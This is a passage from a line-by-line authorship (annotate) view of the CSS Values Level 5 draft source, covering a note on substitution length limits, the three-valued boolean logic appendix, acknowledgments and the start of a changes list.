href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3063" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3216" id="l3216"> 3216</a> </td> <td class="source"> However, since there are valid use-cases for custom properties that contain a kilobyte or more of text, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3064" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3217" id="l3217"> 3217</a> </td> <td class="source"> it's recommended that the limit be set relatively high. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3065" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3218" id="l3218"> 3218</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3066" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3219" id="l3219"> 3219</a> </td> <td class="source"> Note: The general principle that UAs are allowed to violate standards due to resource constraints </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3067" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3220" id="l3220"> 3220</a> </td> <td class="source"> is still generally true here; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3068" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3221" id="l3221"> 3221</a> </td> <td class="source"> a UA might, separately, have limits on how long of a custom property they can support, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3069" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3222" id="l3222"> 3222</a> </td> <td class="source"> or how large of an identifier they can support. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3070" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3223" id="l3223"> 3223</a> </td> <td class="source"> This section calls out this attack specifically </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3071" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3224" id="l3224"> 3224</a> </td> <td class="source"> because of its long history, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3072" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3225" id="l3225"> 3225</a> </td> <td class="source"> and the fact that it can be done without any of the pieces </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3073" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3226" id="l3226"> 3226</a> </td> <td class="source"> <em>seeming</em> to be too large on first inspection. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3074" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3227" id="l3227"> 3227</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3140" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3228" id="l3228"> 3228</a> </td> <td class="source"><h2 id="boolean-logic"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3141" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3229" id="l3229"> 3229</a> </td> <td class="source">Appendix B: Boolean Logic</h2> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3142" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3230" id="l3230"> 3230</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3143" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3231" id="l3231"> 3231</a> </td> <td class="source"> In order to accommodate future extensions of CSS, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l3195" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l3232" id="l3232"> 3232</a> </td> <td class="source"> <<boolean-expr[]>> productions generally interpret their <<general-enclosed>> grammar branch as unknown, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3145" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3233" id="l3233"> 3233</a> </td> <td class="source"> and their boolean logic is resolved using 3-value Kleene logic. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3146" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3234" id="l3234"> 3234</a> </td> <td class="source"> In some cases (such as ''@supports''), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3147" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3235" id="l3235"> 3235</a> </td> <td class="source"> <<general-enclosed>> is instead defined as false; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3148" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3236" id="l3236"> 3236</a> </td> <td class="source"> in which case the logic devolves to standard boolean algebra. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3149" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3237" id="l3237"> 3237</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3150" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3238" id="l3238"> 3238</a> </td> <td class="source"> 3-value boolean logic is applied recursively </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3151" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3239" id="l3239"> 3239</a> </td> <td class="source"> to a boolean condition |test| as follows: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3152" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3240" id="l3240"> 3240</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3153" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3241" id="l3241"> 3241</a> </td> <td class="source"> * A leaf-level |test| resolves to </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3154" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3242" id="l3242"> 3242</a> </td> <td class="source"> true, false, or unknown, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3155" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3243" id="l3243"> 3243</a> </td> <td class="source"> as defined by the relevant specification. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3156" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3244" id="l3244"> 3244</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3157" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3245" id="l3245"> 3245</a> </td> <td class="source"> * ''not |test|'' evaluates to </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3158" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3246" id="l3246"> 3246</a> </td> <td class="source"> true if its contained |test| is false, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3159" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3247" id="l3247"> 3247</a> </td> <td class="source"> false if it's true, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3160" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3248" id="l3248"> 3248</a> </td> <td class="source"> and unknown if it's unknown. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3161" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3249" id="l3249"> 3249</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3162" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3250" id="l3250"> 3250</a> </td> <td class="source"> * Multiple |test|s connected with ''and'' evaluate to </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3163" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3251" id="l3251"> 3251</a> </td> <td class="source"> true if <em>all</em> of those |test|s are true, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3164" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3252" id="l3252"> 3252</a> </td> <td class="source"> false if <em>any</em> of them are false, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3165" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3253" id="l3253"> 3253</a> </td> <td class="source"> and unknown otherwise (i.e. if at least one unknown, but no false). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3166" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3254" id="l3254"> 3254</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3167" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3255" id="l3255"> 3255</a> </td> <td class="source"> * Multiple |test|s connected with ''or'' evaluate to </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3168" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3256" id="l3256"> 3256</a> </td> <td class="source"> true if <em>any</em> of those |test|s are true, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3169" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3257" id="l3257"> 3257</a> </td> <td class="source"> false if <em>all</em> of them are false, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3170" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3258" id="l3258"> 3258</a> </td> <td class="source"> and unknown otherwise (i.e. at least one unknown, but no true). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3171" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3259" id="l3259"> 3259</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l3223" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l3260" id="l3260"> 3260</a> </td> <td class="source"> If a “top-level” <<boolean-expr[]>> is unknown, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3173" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3261" id="l3261"> 3261</a> </td> <td class="source"> and the containing context doesn't otherwise define </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3174" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3262" id="l3262"> 3262</a> </td> <td class="source"> how to handle unknown conditions, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3175" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3263" id="l3263"> 3263</a> </td> <td class="source"> it evaluates to false. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3176" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3264" id="l3264"> 3264</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3177" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3265" id="l3265"> 3265</a> </td> <td class="source"> Note: That is, unknown doesn't “escape” a 3-value boolean expression </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3178" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3266" id="l3266"> 3266</a> </td> <td class="source"> unless explicitly handled, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3179" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3267" id="l3267"> 3267</a> </td> <td class="source"> similar to how <code>NaN</code> doesn't “escape” a [=top-level calculation=]). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3180" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3268" id="l3268"> 3268</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l3181" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l3269" id="l3269"> 3269</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1750" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l3270" id="l3270"> 3270</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l495" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3280" id="l3280"> 3280</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l496" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3281" id="l3281"> 3281</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l497" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3282" id="l3282"> 3282</a> </td> <td class="source"><h2 class="no-num" id="acknowledgments"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l498" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3283" id="l3283"> 3283</a> </td> <td class="source">Acknowledgments</h2> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l499" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3284" id="l3284"> 3284</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l500" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3285" id="l3285"> 3285</a> </td> <td class="source"> Firstly, the editors would like to thank </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/5d3f8cc7714e/css-values-5/Overview.bs#l967" title="5d3f8cc7714e: Fix acknowledgments link">bramus@29509</a> </td> <td class="lineno"> <a href="#l3286" id="l3286"> 3286</a> </td> <td class="source"> all of the contributors to the <a href="https://www.w3.org/TR/css-values-4/#acknowledgments">previous level</a> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l502" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3287" id="l3287"> 3287</a> </td> <td class="source"> of this module. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l503" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3288" id="l3288"> 3288</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l504" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3289" id="l3289"> 3289</a> </td> <td class="source"> Secondly, we would like to acknowledge </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6af7d88a5256/css-values-5/Overview.bs#l3232" title="6af7d88a5256: [css-values] Credit @cdoublev for contributions to the css-values specs">fantasai@31742</a> </td> <td class="lineno"> <a href="#l3290" id="l3290"> 3290</a> </td> <td class="source"> Guillaume Lebas, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/491bbfccdf9c/css-values-5/Overview.bs#l2435" title="491bbfccdf9c: [css-values-5] Add Sebastian Zartner to acknowledgements.">fantasai@31592</a> </td> <td class="lineno"> <a href="#l3291" id="l3291"> 3291</a> </td> <td class="source"> L. David Baron, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/491bbfccdf9c/css-values-5/Overview.bs#l2436" title="491bbfccdf9c: [css-values-5] Add Sebastian Zartner to acknowledgements.">fantasai@31592</a> </td> <td class="lineno"> <a href="#l3292" id="l3292"> 3292</a> </td> <td class="source"> Mike Bremford, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/464880cb479c/css-values-5/Overview.bs#l3257" title="464880cb479c: [css-values-4] Update status; add @scottkellum to acks">fantasai@31786</a> </td> <td class="lineno"> <a href="#l3293" id="l3293"> 3293</a> </td> <td class="source"> Sebastian Zartner, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/65adb68c6dca/css-values-5/Overview.bs#l3258" title="65adb68c6dca: [css-values-5] Update issue about state of mix()">fantasai@31787</a> </td> <td class="lineno"> <a href="#l3294" id="l3294"> 3294</a> </td> <td class="source"> and <a href="https://github.com/w3c/csswg-drafts/issues/6245">especially Scott Kellum</a> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/464880cb479c/css-values-5/Overview.bs#l3259" title="464880cb479c: [css-values-4] Update status; add @scottkellum to acks">fantasai@31786</a> </td> <td class="lineno"> <a href="#l3295" id="l3295"> 3295</a> </td> <td class="source"> for their ideas, comments, and suggestions for Level 5; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l510" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3296" id="l3296"> 3296</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l511" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3297" id="l3297"> 3297</a> </td> <td class="source"><h2 class="no-num" id="changes"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l512" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3298" id="l3298"> 3298</a> </td> <td class="source">Changes</h2> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l513" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l3299" id="l3299"> 3299</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3256" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3300" id="l3300"> 3300</a> </td> <td class="source"> Changes since the <a href="https://www.w3.org/TR/2024/WD-css-values-5-20240917/">17 September 2024 Working Draft</a>: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3257" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3301" id="l3301"> 3301</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3258" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3302" id="l3302"> 3302</a> </td> <td class="source"> * Changed the “comma-upgrading” behavior of allowing semicolons </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3259" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3303" id="l3303"> 3303</a> </td> <td class="source"> to “comma-wrapping” using braces. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3260" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3304" id="l3304"> 3304</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/9539">Issue 9539</a>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3261" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3305" id="l3305"> 3305</a> </td> <td class="source"> * Added ''if()''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3262" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3306" id="l3306"> 3306</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/10064">Issue 10064</a>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3263" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3307" id="l3307"> 3307</a> </td> <td class="source"> <a href="https://github.com/w3c/csswg-drafts/issues/5009#issuecomment-2442787271">Issue 5009</a>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3264" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3308" id="l3308"> 3308</a> </td> <td class="source"> * Added ''inherit()''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3265" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3309" id="l3309"> 3309</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/2864">Issue 2864</a>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/50f4b8c2fc81/css-values-5/Overview.bs#l3266" title="50f4b8c2fc81: [css-values-5] Updated Changes section.">fantasai@31762</a> </td> <td class="lineno"> <a href="#l3310" id="l3310"> 3310</a> </td> <td class="source"> * Redesigned ''attr()''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e82e288bd2bd/css-values-5/Overview.bs#l3271" title="e82e288bd2bd: [css-values-5][editorial] Consistency fixup of *progress() definitions">fantasai@31763</a> </td> <td class="lineno"> <a href="#l3311" id="l3311"> 3311</a> </td> <td class="source"> (<a href="https://github.com/w3c/csswg-drafts/issues/10437">Issue 10437</a>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a 